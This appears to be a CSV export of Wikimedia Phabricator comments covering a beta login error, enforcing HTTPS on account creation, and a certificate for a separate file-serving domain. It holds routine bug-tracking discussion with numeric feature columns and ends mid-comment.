259843,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth.",,,1385407770,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,13.0,20.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9333333333333333,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth."
259838,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Reedy fixed it,,,1385398242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Reedy fixed it
259832,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Note I can login without problem.  Can you both try again?,,,1385398171,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Note I can login without problem.  Can you both try again?
259825,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Sam did some fix on GettingStarted an hour ago:  https://gerrit.wikimedia.org/r/#/c/97522/,,,1385398070,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,Sam did some fix on GettingStarted an hour ago:  URL
259818,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Confirming. Trying to log in into http://en.wikipedia.beta.wmflabs.org I end up at   http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=12345678901234567890123456789012 , getting the same error.
Reloading that page, I am logged in.",,,1385397422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,20.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.2,0.8,"Confirming. Trying to log in into URL I end up at   URL , getting the same error.
Reloading that page, I am logged in."
55651,Redirect to HTTPS for account creation,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.

Is there any reason to allow the login details to be sent in cleartext even once?

What I expect: [1] should redirect to [2]

[1] http://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup

[2] https://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Unbreak Now!,100.0,1378034760,1380742050.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_description,resolved,True,c3,1,False,False,True,-96,True,2.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,7.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,4.0,0.0,1.0,7.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,6.0,3.4096385542168677,0.6385542168674698,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.

Is there any reason to allow the login details to be sent in cleartext even once?

What I expect: [1] should redirect to [2]

[1] URL

[2] URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
255648,Redirect to HTTPS for account creation,"Woops

https://gerrit.wikimedia.org/r/86314
Merged",,,1380742050,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,"Woops

GERRIT_URL
Merged"
255641,Redirect to HTTPS for account creation,"csteipp: Any news here, after Tyler's reply?",,,1380725902,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-92,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,"csteipp: Any news here, after Tyler's reply?"
255635,Redirect to HTTPS for account creation,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement.",,,1378786846,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,1.0,3.0,4.0,1.0,1.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,5.0,0.0,15.0,14.0,0.0,3.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,5.0,7.0,8.0,5.0,1.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,14.0,1.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8767123287671232,0.7397260273972602,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement."
255626,Redirect to HTTPS for account creation,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?",,,1378747956,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,2.0,10.0,2.0,2.0,8.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,10.0,12.0,4.0,2.0,4.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.3653846153846154,0.8076923076923077,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?"
255619,Redirect to HTTPS for account creation,Confirmed on enwiki. Re-prioritizing.,,,1378745232,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Confirmed on enwiki. Re-prioritizing.
255616,Redirect to HTTPS for account creation,"(In reply to comment #1)
Sorry, I meant:

http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup

and 

https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&type=signup

(In the original post, the link points to the login page rather than the signup page.)",,,1378244685,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-96,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.975609756097561,0.6829268292682927,"(In reply to comment #1)
Sorry, I meant:

URL

and 

URL

(In the original post, the link points to the login page rather than the signup page.)"
255610,Redirect to HTTPS for account creation,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,

http://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page

should redirect to

https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page

But currently it doesn't redirect.",,,1378244463,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c3,1,True,,,-96,True,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,11.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.027777777777778,0.7222222222222222,"Not only for Wiktionary, there are lots of signup pages which should redirect to https. For instance,

URL

should redirect to

URL

But currently it doesn't redirect."
373,get certificate for phab.wmfusercontent.org,"https://rt.wikimedia.org/Ticket/Display.html?id=8212

Long story short, need a cert for the file serving domain. Without this and according to the legal requirements, users cannot upload files.",Unbreak Now!,100.0,1409075266,1412019712.0,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_description,resolved,True,c3,1,True,True,True,-45,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,4.066666666666666,0.9,"URL

Long story short, need a cert for the file serving domain. Without this and according to the legal requirements, users cannot upload files."
2756,get certificate for phab.wmfusercontent.org,LGTM!,,,1412019769,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,LGTM!
2755,get certificate for phab.wmfusercontent.org,"@jeremyb, you are correct.


This should be done. 

See: https://phab.wmfusercontent.org/file/data/ihuof2rmdriw7d2exu6c/PHID-FILE-sijhbkzgwmbxorrnrzpb/3ijsborvmimauuxp/aiOZA8rh.jpg",,,1412019705,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.9375,"SCREEN_NAME, you are correct.


This should be done. 

See: URL"
2714,get certificate for phab.wmfusercontent.org,"to clarify and ensure we're all on the same page:

the security blocker for {T463} is not securing the process of uploading, (which is what I think when I read ""users being able to upload files securely""). the issue is that after upload is done, uploaded content that's available for download must be prevented from escalating uploader's access to a different user's phab session. this is done by making those downloads come from a different origin (in this case even a different effective second-level domain).",,,1411973182,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,0.5,0.0,0.0,3.0,0.5,7.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,1.0,3.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.5,1.0,0.5,0.0,1.0,0.0,15.0,1.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,1.0,0.5,5.0,5.0,1.5,1.0,0.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.5,9.0,0.5,0.0,1.0,0.0,1.5,0.0,2.5,3.0,0.0,2.5,0.0,0.0,0.0,4.037735849056603,0.8207547169811321,"to clarify and ensure we're all on the same page:

the security blocker for {T463} is not securing the process of uploading, (which is what I think when I read ""users being able to upload files securely""). the issue is that after upload is done, uploaded content that's available for download must be prevented from escalating uploader's access to a different user's phab session. this is done by making those downloads come from a different origin (in this case even a different effective second-level domain)."
2708,get certificate for phab.wmfusercontent.org,">>! In T373#22, @jeremyb wrote:
> I don't understand the last few comments here.
(snip)
> I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?

I don't know enough about the problem to create a new task, and I'm fine reusing this one after the actual problem is solved: users being able to upload files securely in phabricator.wikimedia.org.",,,1411926548,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9791666666666665,0.8333333333333334,"QUOTE
QUOTE
(snip)
QUOTE

I don't know enough about the problem to create a new task, and I'm fine reusing this one after the actual problem is solved: users being able to upload files securely in phabricator.wikimedia.org."
2702,get certificate for phab.wmfusercontent.org,"I don't understand the last few comments here.

The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at https://phab.wmfusercontent.org/

The server sends an error message (after client successfully authenticates the server unless client has some non-standard root CA store):
`[Core Exception/Exception] Specified domain phab.wmfusercontent.org is not configured for Phabricator requests. Please use https://phabricator.wikimedia.org to visit this instance.`

That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)

I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?",,,1411884061,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,2.5,0.0,0.0,1.0,2.0,5.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,3.0,0.0,6.5,8.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,7.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,8.0,1.5,2.5,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.5,8.5,1.5,0.5,0.0,0.0,4.5,0.0,0.5,1.0,1.0,2.0,0.0,0.0,2.0,3.8982897384305835,0.8579476861167002,"I don't understand the last few comments here.

The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at URL

The server sends an error message (after client successfully authenticates the server unless client has some non-standard root CA store):
CODE

That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)

I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?"
2701,get certificate for phab.wmfusercontent.org,"I don't understand the last few comments here.

The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at https://phab.wmfusercontent.org/

The server sends an error message (either after client successfully authenticates the server unless client has some non-standard root CA store):
`[Core Exception/Exception] Specified domain phab.wmfusercontent.org is not configured for Phabricator requests. Please use https://phabricator.wikimedia.org to visit this instance.`

That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)

I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?",,,1411884020,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,False,,,-40,True,2.5,0.0,0.0,1.0,2.0,5.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,3.0,0.0,6.5,8.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,7.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,8.0,1.5,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.5,8.5,1.5,0.5,0.0,0.0,4.5,0.0,0.5,1.0,1.0,2.0,0.0,0.0,2.0,3.915492957746479,0.8591549295774648,"I don't understand the last few comments here.

The cert is installed and working. check yourself whether you get any SSL/TLS related errors in your browser at URL

The server sends an error message (either after client successfully authenticates the server unless client has some non-standard root CA store):
CODE

That indicates to me that all further work to get that domain working for uploads is on iridium (and manifests thereof), not varnish/nginx/etc. (and I *think* I saw the same error message before T373#17 so this was already fixed by then)

I don't see any upload tickets related to this one. So morph into fixing the iridium conf or make a new one?"
2637,get certificate for phab.wmfusercontent.org,"Using the ""Unbreak Now!"" priority for the first time, to signal that from all the High priorities this is the highest, because it is blocking open registration, the current milestone that we must complete before moving onto RT/Bugzilla migration -- see T463#30",,,1411633307,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-40,True,2.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,14.0,6.0,0.0,14.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.0,18.0,6.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.38,0.82,"Using the ""Unbreak Now!"" priority for the first time, to signal that from all the High priorities this is the highest, because it is blocking open registration, the current milestone that we must complete before moving onto RT/Bugzilla migration -- see T463#30"
2591,get certificate for phab.wmfusercontent.org,"Drifting from ""certificate""-only topic into general ""separate server for attachments and setting that up"" land. 
Status summary, as far as I understand it:

* Registering wmfusercontent.org (https://rt.wikimedia.org/Ticket/Display.html?id=8161) is closed as resolved, and it's also in our DNS already.
* The procurement ticket for the purchase of the certificate is closed as resolved: https://rt.wikimedia.org/Ticket/Display.html?id=8212
* Setting up the multiple certs on nginx on the misc varnish cluster / Set up SNI on misc-web-lb (https://rt.wikimedia.org/Ticket/Display.html?id=8345) is also resolved, but according to Mark's comment from last week ""The backend of this hasn't been deployed yet, so more Varnish and Apache work is needed for Phabricator, but I believe that is outside the scope of this ticket."" There's not an RT ticket to follow for every related task (overhead) so it's not entirely clear from the outside where we're at. After above comment these followup patches exist(ed) which I am aware of:
** https://gerrit.wikimedia.org/r/#/c/161200/
** https://gerrit.wikimedia.org/r/#/c/161355/ https://gerrit.wikimedia.org/r/#/c/161356/
** https://gerrit.wikimedia.org/r/#/c/161357/ https://gerrit.wikimedia.org/r/#/c/161358/ https://gerrit.wikimedia.org/r/#/c/161389/
** I //assume// the outstanding next patch is: https://gerrit.wikimedia.org/r/#/c/161180/

I've asked Mark on IRC today: He wrote that ""the nginx stuff is all done, sni/nginx that is. i finished that on thursday last week. but there's no backend setup for it yet that I'm aware of"".

Backend setup ""means, a web server vhost on the phabricator needs to be setup for it that varnish will talk to
 and phabricator needs to be configured for it
 and it all depends on how phabricator handles that
 so yeah, we could do that, but i have no idea if that'd be consistent with the plans for it, and given that there are security implications of it all
